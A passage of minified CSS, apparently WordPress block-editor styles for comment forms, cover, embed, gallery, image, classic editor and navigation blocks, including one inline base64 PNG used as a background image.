label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}.wp-block-comment-author-avatar__placeholder{border:1px dashed;height:100%;width:100%;stroke:currentColor;stroke-dasharray:3}.wp-block[data-align=center]>.wp-block-comments-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-comments-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-comments-pagination.block-editor-block-list__layout{margin:0}.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{font-size:inherit;margin:.5em .5em .5em 0}.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{margin-right:0}.wp-block-comments-pagination-numbers a{text-decoration:underline}.wp-block-comments-pagination-numbers .page-numbers{margin-right:2px}.wp-block-comments-pagination-numbers .page-numbers:last-child{margin-right:0}.wp-block-comments-title.has-background{padding:inherit}.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}.wp-block-details summary div{display:inline}.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}.wp-block-file{align-items:center;display:flex;flex-wrap:wrap;justify-content:space-between;margin-bottom:0}.wp-block[data-align=left]>.wp-block-file,.wp-block[data-align=right]>.wp-block-file{height:auto}.wp-block[data-align=center]>.wp-block-file{text-align:center}.wp-block-file .components-resizable-box__container{margin-bottom:1em}.wp-block-file .wp-block-file__preview{height:100%;margin-bottom:1em;width:100%}.wp-block-file .wp-block-file__preview-overlay{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-file .wp-block-file__content-wrapper{flex-grow:1}.wp-block-file a{min-width:1em}.wp-block-file a:not(.wp-block-file__button){display:inline-block}.wp-block-file .wp-block-file__button-richtext-wrapper{display:inline-block;margin-left:.75em}.wp-block-form-input .is-input-hidden{background:repeating-linear-gradient(45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;font-size:.85em;opacity:.3;padding:.5em}.wp-block-form-input .is-input-hidden input[type=text]{background:#0000}.wp-block-form-input.is-selected .is-input-hidden{background:none;opacity:1}.wp-block-form-input.is-selected .is-input-hidden input[type=text]{background:unset}.wp-block-form-submission-notification>*{background:repeating-linear-gradient(45deg,#0000,#0000 5px,currentColor 0,currentColor 6px);border:1px dashed;box-sizing:border-box;opacity:.25}.wp-block-form-submission-notification.is-selected>*,.wp-block-form-submission-notification:has(.is-selected)>*{background:none;opacity:1}.wp-block-form-submission-notification.is-selected:after,.wp-block-form-submission-notification:has(.is-selected):after{display:none!important}.wp-block-form-submission-notification:after{align-items:center;display:flex;font-size:1.1em;height:100%;justify-content:center;left:0;position:absolute;top:0;width:100%}.wp-block-form-submission-notification.form-notification-type-success:after{content:attr(data-message-success)}.wp-block-form-submission-notification.form-notification-type-error:after{content:attr(data-message-error)}.wp-block-freeform.block-library-rich-text__tinymce{height:auto}.wp-block-freeform.block-library-rich-text__tinymce li,.wp-block-freeform.block-library-rich-text__tinymce p{line-height:1.8}.wp-block-freeform.block-library-rich-text__tinymce ol,.wp-block-freeform.block-library-rich-text__tinymce ul{margin-left:0;padding-left:2.5em}.wp-block-freeform.block-library-rich-text__tinymce blockquote{border-left:4px solid #000;box-shadow:inset 0 0 0 0 #ddd;margin:0;padding-left:1em}.wp-block-freeform.block-library-rich-text__tinymce pre{color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;white-space:pre-wrap}.wp-block-freeform.block-library-rich-text__tinymce>:first-child{margin-top:0}.wp-block-freeform.block-library-rich-text__tinymce>:last-child{margin-bottom:0}.wp-block-freeform.block-library-rich-text__tinymce.mce-edit-focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce a{color:var(--wp-admin-theme-color)}.wp-block-freeform.block-library-rich-text__tinymce:focus a[data-mce-selected]{background:#e5f5fa;border-radius:2px;box-shadow:0 0 0 1px #e5f5fa;margin:0 -2px;padding:0 2px}.wp-block-freeform.block-library-rich-text__tinymce code{background:#f0f0f0;border-radius:2px;color:#1e1e1e;font-family:Menlo,Consolas,monaco,monospace;font-size:14px;padding:2px}.wp-block-freeform.block-library-rich-text__tinymce:focus code[data-mce-selected]{background:#ddd}.wp-block-freeform.block-library-rich-text__tinymce .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-freeform.block-library-rich-text__tinymce .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-freeform.block-library-rich-text__tinymce .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-block-freeform.block-library-rich-text__tinymce .wp-more-tag{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAADtgAAAAoBAMAAAA86gLBAAAAJFBMVEVMaXG7u7vBwcHDw8POzs68vLzGxsbMzMy+vr7AwMDQ0NDGxsYKLGzpAAAADHRSTlMA///zWf+/f///TMxNVGuqAAABwklEQVR4Ae3dMXLaQBTH4bfj8UCpx8hq0vgKvgFNemhT6Qo6gg6R+0ZahM2QLmyBJ99XWP9V5+o3jIUcLQEAAAAAAAAAAAAAAAAAAAAAAABQ8j0WL9lfTtlt18uNXAUA8O/KVtfa1tdcrOdSh9gCQAMlh1hMNbZZ1bsrsQWABsrhLRbz7z5in/32UbfUMUbkMQCAh5RfGYv82UdMdZ6HS2wjT2ILAI8r3XmM2B3WvM59vfO2xXYW2yYAENuPU8S+X/N67mKxzy225yaxBQCxLV392UdcvwV0jPVUj98ntkBWT7C7+9u2/V/vGtvXIWJ6/4rtbottWa6Ri0NUT/u72LYttrb97LHdvUXMxxrb8TO2W2TF1rYbbLG1bbGNjMi4+2Sbi1FsbbvNFlvbFtt5fDnE3d9sP1/XeIyV2Nr2U2/guZUuptNrH/dPI9eLB6SaAEBs6wPJf3/PNk9tYgsAYrv/8TFuzx/fvkFqGtrEFgDEdpcZUb7ejXy6ntrEFgDENvL6gsas4vbdyKt4DACI7TxElJv/Z7udpqFNbAFAbKduy2uU2trttM/x28UWAAAAAAAAAAAAAAAAAAAAAAAAAADgDyPwGmGTCZp7AAAAAElFTkSuQmCC);background-position:50%;background-repeat:no-repeat;background-size:1900px 20px;cursor:default;display:block;height:20px;margin:15px auto;outline:0;width:96%}.wp-block-freeform.block-library-rich-text__tinymce img::selection{background-color:initial}.wp-block-freeform.block-library-rich-text__tinymce div.mceTemp{-ms-user-select:element}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption{margin:0;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption a,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption img{display:block}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption,.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption *{-webkit-user-drag:none}.wp-block-freeform.block-library-rich-text__tinymce dl.wp-caption .wp-caption-dd{margin:0;padding-top:.5em}.wp-block-freeform.block-library-rich-text__tinymce .wpview{border:1px solid #0000;clear:both;margin-bottom:16px;position:relative;width:99.99%}.wp-block-freeform.block-library-rich-text__tinymce .wpview iframe{background:#0000;display:block;max-width:100%}.wp-block-freeform.block-library-rich-text__tinymce .wpview .mce-shim{bottom:0;left:0;position:absolute;right:0;top:0}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected="2"] .mce-shim{display:none}.wp-block-freeform.block-library-rich-text__tinymce .wpview .loading-placeholder{border:1px dashed #ddd;padding:10px}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error{border:1px solid #ddd;margin:0;padding:1em 0;word-wrap:break-word}.wp-block-freeform.block-library-rich-text__tinymce .wpview .wpview-error p{margin:0;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .loading-placeholder,.wp-block-freeform.block-library-rich-text__tinymce .wpview[data-mce-selected] .wpview-error{border-color:#0000}.wp-block-freeform.block-library-rich-text__tinymce .wpview .dashicons{display:block;font-size:32px;height:32px;margin:0 auto;width:32px}.wp-block-freeform.block-library-rich-text__tinymce .wpview.wpview-type-gallery:after{clear:both;content:"";display:table}.wp-block-freeform.block-library-rich-text__tinymce .gallery img[data-mce-selected]:focus{outline:none}.wp-block-freeform.block-library-rich-text__tinymce .gallery a{cursor:default}.wp-block-freeform.block-library-rich-text__tinymce .gallery{line-height:1;margin:auto -6px;overflow-x:hidden;padding:6px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-item{box-sizing:border-box;float:left;margin:0;padding:6px;text-align:center}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption,.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-icon{margin:0}.wp-block-freeform.block-library-rich-text__tinymce .gallery .gallery-caption{font-size:13px;margin:4px 0}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-1 .gallery-item{width:100%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-2 .gallery-item{width:50%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-3 .gallery-item{width:33.3333333333%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-4 .gallery-item{width:25%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-5 .gallery-item{width:20%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-6 .gallery-item{width:16.6666666667%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-7 .gallery-item{width:14.2857142857%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-8 .gallery-item{width:12.5%}.wp-block-freeform.block-library-rich-text__tinymce .gallery-columns-9 .gallery-item{width:11.1111111111%}.wp-block-freeform.block-library-rich-text__tinymce .gallery img{border:none;height:auto;max-width:100%;padding:0}div[data-type="core/freeform"]:before{border:1px solid #ddd;outline:1px solid #0000}@media not (prefers-reduced-motion){div[data-type="core/freeform"]:before{transition:border-color .1s linear,box-shadow .1s linear}}div[data-type="core/freeform"].is-selected:before{border-color:#1e1e1e}div[data-type="core/freeform"] .block-editor-block-contextual-toolbar+div{margin-top:0;padding-top:0}div[data-type="core/freeform"].is-selected .block-library-rich-text__tinymce:after{clear:both;content:"";display:table}.mce-toolbar-grp .mce-btn.mce-active button,.mce-toolbar-grp .mce-btn.mce-active i,.mce-toolbar-grp .mce-btn.mce-active:hover button,.mce-toolbar-grp .mce-btn.mce-active:hover i{color:#1e1e1e}.mce-toolbar-grp .mce-rtl .mce-flow-layout-item.mce-last{margin-left:8px;margin-right:0}.mce-toolbar-grp .mce-btn i{font-style:normal}.block-library-classic__toolbar{border:1px solid #ddd;border-bottom:none;border-radius:2px;display:none;margin:0 0 8px;padding:0;position:sticky;top:0;width:auto;z-index:31}div[data-type="core/freeform"].is-selected .block-library-classic__toolbar{border-color:#1e1e1e;display:block}.block-library-classic__toolbar .mce-tinymce{box-shadow:none}@media (min-width:600px){.block-library-classic__toolbar{padding:0}}.block-library-classic__toolbar:empty{background:#f5f5f5;border-bottom:1px solid #e2e4e7;display:block}.block-library-classic__toolbar:empty:before{color:#555d66;content:attr(data-placeholder);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:37px;padding:14px}.block-library-classic__toolbar div.mce-toolbar-grp{border-bottom:1px solid #1e1e1e}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar .mce-menubar>div,.block-library-classic__toolbar .mce-tinymce-inline,.block-library-classic__toolbar .mce-tinymce-inline>div,.block-library-classic__toolbar div.mce-toolbar-grp,.block-library-classic__toolbar div.mce-toolbar-grp>div{height:auto!important;width:100%!important}.block-library-classic__toolbar .mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}:root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.gallery-image-sizes .components-base-control__label{margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 8px 0 4px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;content:"";display:flex;flex:1 0 40px;min-height:38px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-button-block-appender,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.block-library-html__edit .block-library-html__preview-overlay{height:100%;left:0;position:absolute;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;direction:ltr;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{min-height:60px}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image__placeholder{aspect-ratio:4/3}.wp-block-image__placeholder.has-illustration:before{background:#fff;opacity:.8}.wp-block-image__placeholder .components-placeholder__illustration{opacity:.1}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block[data-align]:has(>.wp-block-image){position:relative}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container{pointer-events:auto}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__toolbar_content_textarea__container{padding:8px}.wp-block-image__toolbar_content_textarea{width:250px}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}:root :where(.wp-block-latest-posts){padding-left:2.5em}:root :where(.wp-block-latest-posts.is-grid),:root :where(.wp-block-latest-posts__list){padding-left:0}.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill .editor-media-container__resizer,.wp-block-media-text.is-image-fill-element .components-placeholder.has-illustration,.wp-block-media-text.is-image-fill-element .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.wp-block-media-text--placeholder-image{min-height:205px}.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;color:#fff;margin-left:auto;margin-right:0;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff;height:24px}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:left;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-right:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-left:4px;padding:0 6px 0 0}.wp-block-navigation-placeholder__actions__indicator svg{margin-right:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions 